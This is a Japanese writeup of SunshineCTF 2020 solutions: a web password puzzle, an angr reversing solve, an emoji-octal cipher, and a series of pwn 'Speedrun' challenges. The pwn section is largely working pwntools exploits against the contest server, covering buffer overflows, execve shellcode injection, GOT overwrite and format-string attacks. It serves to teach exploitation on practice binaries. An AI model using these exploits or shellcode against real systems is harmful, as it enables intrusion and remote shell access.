SunshineCTF 2020 Writeup

11/7から行われたSunshineCTF 2020に参加しました. たくさん解けて楽しかったです.
f:id:shirataki64225:20201112143549p:plain

Web

Password Pandemonium (100 Pts)

登録フォームが表示される. 適当に登録しようとするとパスワードでいろいろなエラーが出る.

  • 短い
  • 長い
  • 特殊文字を3文字以上
  • 素数を含む
  • 絵文字を含む
  • 大文字と小文字の数が同じ
  • 回文
  • JavaScriptTrueが返される
  • MD5でハッシュしたとき先頭が数字

"😀Aa3aA😀"=="😀Aa3aA😀"と入力したらフラグが表示された.
flag: sun{Pal1ndr0m1c_EcMaScRiPt}

Reversing

Hotel Door Puzzle (100 Pts)

$ ./hotel_key_puzzle 
Hotel Orlando Door Puzzle v1
----------------------------
This puzzle, provided by Hotel Orlando, is in place to give the bellhops enough time to get your luggage to you.
We have really slow bellhops and so we had to put a serious _time sink_ in front of you.
Have fun with this puzzle while we get your luggage to you!

        -Hotel Orlando Bellhop and Stalling Service

Your guess, if you would be so kind: 
abcd
Sadly, that is the incorrect key. If you would like, you could also sit in our lobby and wait.

keyがフラグっぽい.
angrを使いました.

import angr 

project = angr.Project('./hotel_key_puzzle')
entry = project.factory.entry_state()
simgr = project.factory.simgr(entry)
simgr.explore()

states = simgr.deadended
for state in states:
    flag = b"".join(state.posix.stdin.concretize())
    print(flag)
$ python3 solve.py

b'sun{b3llh0p\xd9-runn\xc9n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
b'sun{b3llh0p\xc9-runn1n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
b'sun{b3llh0p5-runn1n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'

angrの使い方はSECCON Beginners Liveで解説されてました.
http://o0i.es/c4blive.pdf
flag: sun{b3llh0p5-runn1n6-qu1ckly}

Crypto

Magically Delicious (100 Pts)

⭐🌈🍀 ⭐🌈🦄 ⭐🦄🌈 ⭐🎈🍀 ⭐🦄🌑 ⭐🌈🦄 ⭐🌑🍀 ⭐🦄🍀 ⭐🎈⭐ 🦄🦄 ⭐🦄🎈 ⭐🌑🍀 ⭐🌈🌑 ⭐🌑⭐ ⭐🦄🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄⭐ ⭐🌈🍀 🦄🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🌑🦄 🦄🦄 ⭐🌑🐴 ⭐🌑🦄 ⭐🌈🍀 ⭐🌈🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄🦄 ⭐🌑🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🦄🎈 ⭐🌑🌑 ⭐🎈🦄
Tip: If you're digging into the unicode encoding of the emojis, you're on the wrong track!

ありがたいヒント.
3文字ごとに区切られてるから8進数かな.

>>> for c in "sun{}":
...  print(oct(ord(c)))
... 
0o163
0o165
0o156
0o173
0o175

⭐ → 1, 🌈 → 6, 🍀 → 3, 🦄 → 5, 🎈 → 7 と変換すればよさそう.
💜, 🐴, 🌑はいい感じの文字列になるように変換した.

encoded_flag="⭐🌈🍀 ⭐🌈🦄 ⭐🦄🌈 ⭐🎈🍀 ⭐🦄🌑 ⭐🌈🦄 ⭐🌑🍀 ⭐🦄🍀 ⭐🎈⭐ 🦄🦄 ⭐🦄🎈 ⭐🌑🍀 ⭐🌈🌑 ⭐🌑⭐ ⭐🦄🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄⭐ ⭐🌈🍀 🦄🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🌑🦄 🦄🦄 ⭐🌑🐴 ⭐🌑🦄 ⭐🌈🍀 ⭐🌈🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄🦄 ⭐🌑🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🦄🎈 ⭐🌑🌑 ⭐🎈🦄"

l=encoded_flag.split(' ')

flag=""
for i in l:
    s=""
    for c in i:
        if c=='💜':
            s+='0'
        if c=='⭐':
            s+='1'
        if c=='🐴':
            s+='2'
        if c=='🍀':
            s+='3'
        if c=='🌑':
            s+='4'
        if c=='🦄':
            s+='5'
        if c=='🌈':
            s+='6'
        if c=='🎈':
            s+='7'
    flag+=chr(int(s,8))

print(flag)
$ python3 solve.py 
sun{lucky-octal-encoding-is-the-best-encoding-method}

flag: sun{lucky-octal-encoding-is-the-best-encoding-method}

Speedrun

pwnの基礎問題的なやつ. いい練習になりました.

00 (10 Pts)

gdbで逆アセンブル.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000000006ca <+0>:     push   rbp
   0x00000000000006cb <+1>:     mov    rbp,rsp
   0x00000000000006ce <+4>:     sub    rsp,0x40
   0x00000000000006d2 <+8>:     lea    rdi,[rip+0xcb]        # 0x7a4
   0x00000000000006d9 <+15>:    call   0x580 <puts@plt>
   0x00000000000006de <+20>:    lea    rax,[rbp-0x40]
   0x00000000000006e2 <+24>:    mov    rdi,rax
   0x00000000000006e5 <+27>:    mov    eax,0x0
   0x00000000000006ea <+32>:    call   0x5a0 <gets@plt>
   0x00000000000006ef <+37>:    cmp    DWORD PTR [rbp-0x4],0xfacade
   0x00000000000006f6 <+44>:    jne    0x704 <main+58>
   0x00000000000006f8 <+46>:    lea    rdi,[rip+0xba]        # 0x7b9
   0x00000000000006ff <+53>:    call   0x590 <system@plt>
   0x0000000000000704 <+58>:    cmp    DWORD PTR [rbp-0x8],0xfacade
   0x000000000000070b <+65>:    jne    0x719 <main+79>
   0x000000000000070d <+67>:    lea    rdi,[rip+0xa5]        # 0x7b9
   0x0000000000000714 <+74>:    call   0x590 <system@plt>
   0x0000000000000719 <+79>:    nop
   0x000000000000071a <+80>:    leave  
   0x000000000000071b <+81>:    ret    
End of assembler dump.

rbp-0x4rbp-0x8の値が0xfacadeになっているとシェルが起動する. 入力がrbp-0x40からに格納されるので0x3c文字か0x38文字後に0xfacadeを置く.

from pwn import *

# p=process('./chall_00')
p=remote('chal.2020.sunshinectf.org',30000)

arg=0xfacade

payload=b''
for i in range(8):
    payload+=p64(arg)

p.recv()
p.sendline(payload)
p.interactive()

flag: sun{burn-it-down-6208bbc96c9ffce4}

01 (10 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000000075a <+0>:     push   rbp
   0x000000000000075b <+1>:     mov    rbp,rsp
   0x000000000000075e <+4>:     sub    rsp,0x60
   0x0000000000000762 <+8>:     lea    rdi,[rip+0xef]        # 0x858
   0x0000000000000769 <+15>:    call   0x600 <puts@plt>
   0x000000000000076e <+20>:    mov    rdx,QWORD PTR [rip+0x20089b]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000775 <+27>:    lea    rax,[rbp-0x20]
   0x0000000000000779 <+31>:    mov    esi,0x13
   0x000000000000077e <+36>:    mov    rdi,rax
   0x0000000000000781 <+39>:    call   0x620 <fgets@plt>
   0x0000000000000786 <+44>:    lea    rax,[rbp-0x60]
   0x000000000000078a <+48>:    mov    rdi,rax
   0x000000000000078d <+51>:    mov    eax,0x0
   0x0000000000000792 <+56>:    call   0x630 <gets@plt>
   0x0000000000000797 <+61>:    cmp    DWORD PTR [rbp-0x4],0xfacade
   0x000000000000079e <+68>:    jne    0x7ac <main+82>
   0x00000000000007a0 <+70>:    lea    rdi,[rip+0xdf]        # 0x886
   0x00000000000007a7 <+77>:    call   0x610 <system@plt>
   0x00000000000007ac <+82>:    cmp    DWORD PTR [rbp-0x8],0xfacade
   0x00000000000007b3 <+89>:    jne    0x7c1 <main+103>
   0x00000000000007b5 <+91>:    lea    rdi,[rip+0xca]        # 0x886
   0x00000000000007bc <+98>:    call   0x610 <system@plt>
   0x00000000000007c1 <+103>:   nop
   0x00000000000007c2 <+104>:   leave  
   0x00000000000007c3 <+105>:   ret    
End of assembler dump.

00と同様にrbp-0x4rbp-0x8の値が0xfacadeになっているとシェルが起動する. fgetsは文字数制限があるためgetsで入力する. rbp-0x60からなので0x5c文字か0x58文字後に0xfacadeを置く.

from pwn import *

# p=process('./chall_01')
p=remote('chal.2020.sunshinectf.org',30001)

arg=0xfacade

payload=b''
for i in range(12):
    payload+=p64(arg)

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{eternal-rest-6a5ee49d943a053a}

02 (10 Pts)

gdb-peda$ disas vuln 
Dump of assembler code for function vuln:
   0x08048501 <+0>:     push   ebp
   0x08048502 <+1>:     mov    ebp,esp
   0x08048504 <+3>:     push   ebx
   0x08048505 <+4>:     sub    esp,0x44
   0x08048508 <+7>:     call   0x8048582 <__x86.get_pc_thunk.ax>
   0x0804850d <+12>:    add    eax,0x1af3
   0x08048512 <+17>:    sub    esp,0xc
   0x08048515 <+20>:    lea    edx,[ebp-0x3a]
   0x08048518 <+23>:    push   edx
   0x08048519 <+24>:    mov    ebx,eax
   0x0804851b <+26>:    call   0x8048360 <gets@plt>
   0x08048520 <+31>:    add    esp,0x10
   0x08048523 <+34>:    nop
   0x08048524 <+35>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048527 <+38>:    leave  
   0x08048528 <+39>:    ret    
End of assembler dump.

vuln内のgetsBOFが起きる. リターンアドレスをwinのアドレスに書き換える. offsetは0x3a+0x4=0x3e.

from pwn import *

# p=process('./chall_02')
p=remote('chal.2020.sunshinectf.org',30002)
e=ELF('./chall_02')

payload=b'A'*62
payload+=p64(e.symbols['win'])

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{warmness-on-the-soul-3b6aad1d8bb54732}

03 (18 Pts)

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x000000000000075a <+0>:     push   rbp
   0x000000000000075b <+1>:     mov    rbp,rsp
   0x000000000000075e <+4>:     sub    rsp,0x70
   0x0000000000000762 <+8>:     lea    rax,[rbp-0x70]
   0x0000000000000766 <+12>:    mov    rsi,rax
   0x0000000000000769 <+15>:    lea    rdi,[rip+0xe4]        # 0x854
   0x0000000000000770 <+22>:    mov    eax,0x0
   0x0000000000000775 <+27>:    call   0x610 <printf@plt>
   0x000000000000077a <+32>:    lea    rax,[rbp-0x70]
   0x000000000000077e <+36>:    mov    rdi,rax
   0x0000000000000781 <+39>:    mov    eax,0x0
   0x0000000000000786 <+44>:    call   0x630 <gets@plt>
   0x000000000000078b <+49>:    nop
   0x000000000000078c <+50>:    leave  
   0x000000000000078d <+51>:    ret    
End of assembler dump.

02と同様にvulngetsBOFが起きる. しかしwinがなく, PIEが有効になっている.
2回目の入力の前にアドレスrbp-0x70が表示される. これは2回目の入力の文字が格納されるアドレスと同じ.
NXbitは無効になってるから2回目の入力時にシェルコードを書き込み, リターンアドレスを表示されたアドレスに書き換えるとリターン時にシェルコードが実行される.

from pwn import *

# p=process('./chall_03')
p=remote('chal.2020.sunshinectf.org',30003)
e=ELF('./chall_03')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.recv()
p.sendline()
p.recvuntil(': ')
buf=int(p.recv(14)[2:],16)

payload=shellcode
payload+=b'A'*(120-len(shellcode))
payload+=p64(buf)

p.sendline(payload)
p.interactive()

flag: sun{a-little-piece-of-heaven-26c8795afe7b3c49}

04 (10 Pts)

gdb-peda$ disas vuln 
Dump of assembler code for function vuln:
   0x00000000004005ca <+0>:     push   rbp
   0x00000000004005cb <+1>:     mov    rbp,rsp
   0x00000000004005ce <+4>:     sub    rsp,0x240
   0x00000000004005d5 <+11>:    mov    rdx,QWORD PTR [rip+0x200a64]        # 0x601040 <stdin@@GLIBC_2.2.5>
   0x00000000004005dc <+18>:    lea    rax,[rbp-0x40]
   0x00000000004005e0 <+22>:    mov    esi,0x64
   0x00000000004005e5 <+27>:    mov    rdi,rax
   0x00000000004005e8 <+30>:    call   0x4004c0 <fgets@plt>
   0x00000000004005ed <+35>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004005f1 <+39>:    mov    eax,0x0
   0x00000000004005f6 <+44>:    call   rdx
   0x00000000004005f8 <+46>:    nop
   0x00000000004005f9 <+47>:    leave  
   0x00000000004005fa <+48>:    ret    
End of assembler dump.

2回目の入力が終わるとrdxレジスタの値をcallしてくれる. 直前にrbp-0x8の値がrdxに代入される. 入力がrbp-0x40からに格納されるので0x38(=0x40-0x8)文字後にwinのアドレスを置くとcall時にwinが実行される.

from pwn import *

# p=process('./chall_04')
p=remote('chal.2020.sunshinectf.org',30004)
e=ELF('./chall_04')

payload=b'A'*0x38
payload+=p64(e.symbols['win'])

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{critical-acclaim-96cfde3d068e77bf}

05 (10 Pts)

gdb-peda$ disas vuln 
Dump of assembler code for function vuln:
   0x00000000000007a6 <+0>:     push   rbp
   0x00000000000007a7 <+1>:     mov    rbp,rsp
   0x00000000000007aa <+4>:     sub    rsp,0x240
   0x00000000000007b1 <+11>:    lea    rsi,[rip+0xffffffffffffffb5]        # 0x76d <main>
   0x00000000000007b8 <+18>:    lea    rdi,[rip+0xd4]        # 0x893
   0x00000000000007bf <+25>:    mov    eax,0x0
   0x00000000000007c4 <+30>:    call   0x620 <printf@plt>
   0x00000000000007c9 <+35>:    mov    rdx,QWORD PTR [rip+0x200840]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x00000000000007d0 <+42>:    lea    rax,[rbp-0x40]
   0x00000000000007d4 <+46>:    mov    esi,0x64
   0x00000000000007d9 <+51>:    mov    rdi,rax
   0x00000000000007dc <+54>:    call   0x630 <fgets@plt>
   0x00000000000007e1 <+59>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000000007e5 <+63>:    mov    eax,0x0
   0x00000000000007ea <+68>:    call   rdx
   0x00000000000007ec <+70>:    nop
   0x00000000000007ed <+71>:    leave  
   0x00000000000007ee <+72>:    ret    
End of assembler dump.

04と同様に2回目の入力が終わるとrdxレジスタの値をcallしてくれる. しかし, PIEが有効になっていてwinのアドレスがわからない.
2回目の入力の前にmainのアドレスが表示される. このアドレスからwinのアドレスを計算する. あとは04と同じ.

from pwn import *

# p=process('./chall_05')
p=remote('chal.2020.sunshinectf.org',30005)
e=ELF('./chall_05')

p.recv()
p.sendline()
p.recvuntil(': ')
win=int(p.recv(14)[2:],16)+e.symbols['win']-e.symbols['main']
print(hex(win))

payload=b'A'*0x38
payload+=p64(win)

p.sendline(payload)
p.interactive()

flag: sun{chapter-four-9ca97769b74345b1}

06 (23 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000000071a <+0>:     push   rbp
   0x000000000000071b <+1>:     mov    rbp,rsp
   0x000000000000071e <+4>:     sub    rsp,0xd0
   0x0000000000000725 <+11>:    lea    rax,[rbp-0xd0]
   0x000000000000072c <+18>:    mov    rsi,rax
   0x000000000000072f <+21>:    lea    rdi,[rip+0x102]        # 0x838
   0x0000000000000736 <+28>:    mov    eax,0x0
   0x000000000000073b <+33>:    call   0x5e0 <printf@plt>
   0x0000000000000740 <+38>:    mov    rdx,QWORD PTR [rip+0x2008c9]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000747 <+45>:    lea    rax,[rbp-0xd0]
   0x000000000000074e <+52>:    mov    esi,0xc7
   0x0000000000000753 <+57>:    mov    rdi,rax
   0x0000000000000756 <+60>:    call   0x5f0 <fgets@plt>
   0x000000000000075b <+65>:    mov    eax,0x0
   0x0000000000000760 <+70>:    call   0x768 <vuln>
   0x0000000000000765 <+75>:    nop
   0x0000000000000766 <+76>:    leave  
   0x0000000000000767 <+77>:    ret    
End of assembler dump.

1回目の入力の前にアドレスrbp-0xd0が表示される. これは1回目に入力する文字が格納されるアドレスと同じ.

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0000000000000768 <+0>:     push   rbp
   0x0000000000000769 <+1>:     mov    rbp,rsp
   0x000000000000076c <+4>:     sub    rsp,0x240
   0x0000000000000773 <+11>:    lea    rdi,[rip+0xe6]        # 0x860
   0x000000000000077a <+18>:    call   0x5d0 <puts@plt>
   0x000000000000077f <+23>:    mov    rdx,QWORD PTR [rip+0x20088a]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000786 <+30>:    lea    rax,[rbp-0x40]
   0x000000000000078a <+34>:    mov    esi,0x64
   0x000000000000078f <+39>:    mov    rdi,rax
   0x0000000000000792 <+42>:    call   0x5f0 <fgets@plt>
   0x0000000000000797 <+47>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000000079b <+51>:    mov    eax,0x0
   0x00000000000007a0 <+56>:    call   rdx
   0x00000000000007a2 <+58>:    nop
   0x00000000000007a3 <+59>:    leave  
   0x00000000000007a4 <+60>:    ret    
End of assembler dump.

04, 05と同様に2回目の入力が終わるとrdxレジスタの値をcallしてくれる.
1回目の入力時にシェルコードを書き込み, rbp-0x8に表示されたアドレスを書き込めばcall時にシェルコードが実行される.

from pwn import *

# p=process('./chall_06')
p=remote('chal.2020.sunshinectf.org',30006)
e=ELF('./chall_06')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.recvuntil(': ')
buf=int(p.recv(14)[2:],16)
p.sendline(shellcode)

payload=b'A'*0x38
payload+=p64(buf)

p.recv()
p.sendline(payload)
p.interactive()

flag: sun{shepherd-of-fire-1a78a8e600bf4492}

07 (26 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000000073a <+0>:     push   rbp
   0x000000000000073b <+1>:     mov    rbp,rsp
   0x000000000000073e <+4>:     sub    rsp,0xf0
   0x0000000000000745 <+11>:    mov    rax,QWORD PTR fs:0x28
   0x000000000000074e <+20>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000000752 <+24>:    xor    eax,eax
   0x0000000000000754 <+26>:    lea    rdi,[rip+0xe9]        # 0x844
   0x000000000000075b <+33>:    mov    eax,0x0
   0x0000000000000760 <+38>:    call   0x600 <printf@plt>
   0x0000000000000765 <+43>:    mov    rdx,QWORD PTR [rip+0x2008a4]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x000000000000076c <+50>:    lea    rax,[rbp-0xf0]
   0x0000000000000773 <+57>:    mov    esi,0x13
   0x0000000000000778 <+62>:    mov    rdi,rax
   0x000000000000077b <+65>:    call   0x610 <fgets@plt>
   0x0000000000000780 <+70>:    mov    rdx,QWORD PTR [rip+0x200889]        # 0x201010 <stdin@@GLIBC_2.2.5>
   0x0000000000000787 <+77>:    lea    rax,[rbp-0xd0]
   0x000000000000078e <+84>:    mov    esi,0xc8
   0x0000000000000793 <+89>:    mov    rdi,rax
   0x0000000000000796 <+92>:    call   0x610 <fgets@plt>
   0x000000000000079b <+97>:    lea    rdx,[rbp-0xd0]
   0x00000000000007a2 <+104>:   mov    eax,0x0
   0x00000000000007a7 <+109>:   call   rdx
   0x00000000000007a9 <+111>:   nop
   0x00000000000007aa <+112>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000000007ae <+116>:   xor    rax,QWORD PTR fs:0x28
   0x00000000000007b7 <+125>:   je     0x7be <main+132>
   0x00000000000007b9 <+127>:   call   0x5f0 <__stack_chk_fail@plt>
   0x00000000000007be <+132>:   leave  
   0x00000000000007bf <+133>:   ret    
End of assembler dump.

2回目の入力が終わるとrdxレジスタの値をcallしてくれる. 直前に2回目に入力された文字が格納されるアドレスであるrbp-0xd0rdxにロードされるので2回目の入力時にシェルコードを書き込めばcall時に実行される.

from pwn import *

# p=process('./chall_07')
p=remote('chal.2020.sunshinectf.org',30007)
e=ELF('./chall_07')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.sendline()
p.sendline(shellcode)
p.interactive()

flag: sun{sidewinder-a80d0be1840663c4}

08 (37 Pts)

gdb-peda$ disas main
Dump of assembler code for function main:
   0x000000000040057a <+0>:     push   rbp
   0x000000000040057b <+1>:     mov    rbp,rsp
   0x000000000040057e <+4>:     sub    rsp,0x10
   0x0000000000400582 <+8>:     lea    rax,[rbp-0x4]
   0x0000000000400586 <+12>:    mov    rsi,rax
   0x0000000000400589 <+15>:    lea    rdi,[rip+0xdc]        # 0x40066c
   0x0000000000400590 <+22>:    mov    eax,0x0
   0x0000000000400595 <+27>:    call   0x400470 <__isoc99_scanf@plt>
   0x000000000040059a <+32>:    lea    rax,[rbp-0x10]
   0x000000000040059e <+36>:    mov    rsi,rax
   0x00000000004005a1 <+39>:    lea    rdi,[rip+0xc7]        # 0x40066f
   0x00000000004005a8 <+46>:    mov    eax,0x0
   0x00000000004005ad <+51>:    call   0x400470 <__isoc99_scanf@plt>
   0x00000000004005b2 <+56>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004005b5 <+59>:    mov    rdx,QWORD PTR [rbp-0x10]
   0x00000000004005b9 <+63>:    cdqe   
   0x00000000004005bb <+65>:    lea    rcx,[rax*8+0x0]
   0x00000000004005c3 <+73>:    lea    rax,[rip+0x200476]        # 0x600a40 <target>
   0x00000000004005ca <+80>:    mov    QWORD PTR [rcx+rax*1],rdx
   0x00000000004005ce <+84>:    lea    rdi,[rip+0x9e]        # 0x400673
   0x00000000004005d5 <+91>:    call   0x400450 <puts@plt>
   0x00000000004005da <+96>:    nop
   0x00000000004005db <+97>:    leave  
   0x00000000004005dc <+98>:    ret    
End of assembler dump.

数字を2回入力できる. 1回目の入力をx, 2回目の入力をyとすると

0x00000000004005b2 <+56>:    mov    eax,DWORD PTR [rbp-0x4]         # eax=x
0x00000000004005b5 <+59>:    mov    rdx,QWORD PTR [rbp-0x10]        # rdx=y
0x00000000004005b9 <+63>:    cdqe                                   # rax=x
0x00000000004005bb <+65>:    lea    rcx,[rax*8+0x0]                 # rcx=x*8
0x00000000004005c3 <+73>:    lea    rax,[rip+0x200476]              # rax=0x600a40
0x00000000004005ca <+80>:    mov    QWORD PTR [rcx+rax*1],rdx       # x*8+0x600a40にyを書き込む

main+80でGOT Overwriteができそう. 直後にあるputsのGOTをwinのアドレスに書き換える.
x*8+0x600a40=(putsのGOT), y=(winのアドレス)となるようなx, yを入力するとputs呼び出し時にwinが呼ばれる.

from pwn import *

# p=process('./chall_08')
p=remote('chal.2020.sunshinectf.org',30008)
e=ELF('./chall_08')

p.sendline(str((e.got["puts"]-0x600a40)//8))
p.sendline(str(e.symbols["win"]))
p.interactive()

flag: sun{fiction-fa1a28a3ce2fdd96}

09 (29 Pts)

長いからGhidraでデコンパイル.

void main(void)
{
    size_t sVar1;
    size_t sVar2;
    long in_FS_OFFSET;
    int local_5c;
    byte local_58 [56];
    long local_20;
    
    local_20 = *(long *)(in_FS_OFFSET + 0x28);
    fgets((char *)local_58,0x31,stdin);
    sVar1 = strlen((char *)local_58);
    sVar2 = strlen(key);
    if (sVar1 == sVar2) {
        local_5c = 0;
        while( true ) {
        sVar1 = strlen(key);
        if (sVar1 <= (ulong)(long)local_5c) break;
        if ((local_58[local_5c] ^ 0x30) !=key[local_5c]) {
                        /* WARNING: Subroutine does notreturn */
            exit(0);
        }
        local_5c = local_5c + 1;
        }
        system("/bin/sh");
    }
    if (local_20 != *(long *)(in_FS_OFFSET +0x28)) {
                    /* WARNING: Subroutine does notreturn */
    __stack_chk_fail();
  }
  return ;
}

(入力した文字列)^0x30 = key(="y\027FU\020S_]U\020XUBU\020D_:")となる文字列を入力するとシェルが起動する.
入力する文字列はkey^0x30で求められる.

key="y\027FU\020S_]U\020XUBU\020D_:"
s="".join([chr(ord(c)^0x30) for c in key])
print(s)
$ python3 solve.py 
I've come here to

$ nc chal.2020.sunshinectf.org 30009
I've come here to

ls
chall_09
flag.txt
cat flag.txt
sun{coming-home-4202dcd54b230a00}
exit

flag: sun{coming-home-4202dcd54b230a00}

10 (34 Pts)

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0804850a <+0>:     push   ebp
   0x0804850b <+1>:     mov    ebp,esp
   0x0804850d <+3>:     push   ebx
   0x0804850e <+4>:     sub    esp,0x44
   0x08048511 <+7>:     call   0x804858b <__x86.get_pc_thunk.ax>
   0x08048516 <+12>:    add    eax,0x1aea
   0x0804851b <+17>:    sub    esp,0xc
   0x0804851e <+20>:    lea    edx,[ebp-0x3a]
   0x08048521 <+23>:    push   edx
   0x08048522 <+24>:    mov    ebx,eax
   0x08048524 <+26>:    call   0x8048360 <gets@plt>
   0x08048529 <+31>:    add    esp,0x10
   0x0804852c <+34>:    nop
   0x0804852d <+35>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048530 <+38>:    leave  
   0x08048531 <+39>:    ret    
End of assembler dump.

vuln内のgetsBOFが起きる. リターンアドレスをwinに書き換えてあげればよいがwinに引数チェックがある.

gdb-peda$ disas win
Dump of assembler code for function win:
   0x080484d6 <+0>:     push   ebp
   0x080484d7 <+1>:     mov    ebp,esp
   0x080484d9 <+3>:     push   ebx
   0x080484da <+4>:     sub    esp,0x4
   0x080484dd <+7>:     call   0x804858b <__x86.get_pc_thunk.ax>
   0x080484e2 <+12>:    add    eax,0x1b1e
   0x080484e7 <+17>:    cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x080484ee <+24>:    jne    0x8048504 <win+46>
   0x080484f0 <+26>:    sub    esp,0xc
   0x080484f3 <+29>:    lea    edx,[eax-0x19f0]
   0x080484f9 <+35>:    push   edx
   0x080484fa <+36>:    mov    ebx,eax
   0x080484fc <+38>:    call   0x8048390 <system@plt>
   0x08048501 <+43>:    add    esp,0x10
   0x08048504 <+46>:    nop
   0x08048505 <+47>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048508 <+50>:    leave  
   0x08048509 <+51>:    ret    
End of assembler dump.

第1引数が0xdeadbeefになっていればよい.

from pwn import *

# p=process('./chall_10')
p=remote('chal.2020.sunshinectf.org',30010)
e=ELF('./chall_10')

payload=b'A'*62
payload+=p32(e.symbols["win"])
payload+=b'B'*4
payload+=p32(0xdeadbeef)

p.recv()
p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{second-heartbeat-aeaff82332769d0f}

11 (42 Pts)

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x08048511 <+0>:     push   ebp
   0x08048512 <+1>:     mov    ebp,esp
   0x08048514 <+3>:     push   ebx
   0x08048515 <+4>:     sub    esp,0xd4
   0x0804851b <+10>:    call   0x8048420 <__x86.get_pc_thunk.bx>
   0x08048520 <+15>:    add    ebx,0x13e8
   0x08048526 <+21>:    mov    eax,DWORD PTR [ebx-0x4]
   0x0804852c <+27>:    mov    eax,DWORD PTR [eax]
   0x0804852e <+29>:    sub    esp,0x4
   0x08048531 <+32>:    push   eax
   0x08048532 <+33>:    push   0xc7
   0x08048537 <+38>:    lea    eax,[ebp-0xd0]
   0x0804853d <+44>:    push   eax
   0x0804853e <+45>:    call   0x8048380 <fgets@plt>
   0x08048543 <+50>:    add    esp,0x10
   0x08048546 <+53>:    sub    esp,0xc
   0x08048549 <+56>:    lea    eax,[ebp-0xd0]
   0x0804854f <+62>:    push   eax
   0x08048550 <+63>:    call   0x8048360 <printf@plt>
   0x08048555 <+68>:    add    esp,0x10
   0x08048558 <+71>:    mov    eax,DWORD PTR [ebx-0x4]
   0x0804855e <+77>:    mov    eax,DWORD PTR [eax]
   0x08048560 <+79>:    sub    esp,0xc
   0x08048563 <+82>:    push   eax
   0x08048564 <+83>:    call   0x8048370 <fflush@plt>
   0x08048569 <+88>:    add    esp,0x10
   0x0804856c <+91>:    nop
   0x0804856d <+92>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x08048570 <+95>:    leave  
   0x08048571 <+96>:    ret    
End of assembler dump.

vulnprintfFSBがある.

$ ./chall_11 
So indeed 

AAAA%p,%p,%p,%p,%p,%p,%p
AAAA0xc7,0xf7ed3580,0x8048520,(nil),(nil),0x41414141,0x252c7025

fflushのGOTをwinのアドレスに書き換えると, fflush呼び出し時にwinが呼ばれる.

from pwn import *

# p=process('./chall_11')
p=remote('chal.2020.sunshinectf.org',30011)
e=ELF('./chall_11')

fflush_got=e.got["fflush"]
win=e.symbols["win"]

payload=fmtstr_payload(6,{fflush_got:win})

p.sendline()
p.sendline(payload)
p.interactive()

flag: sun{afterlife-4b74753c2b12949f}

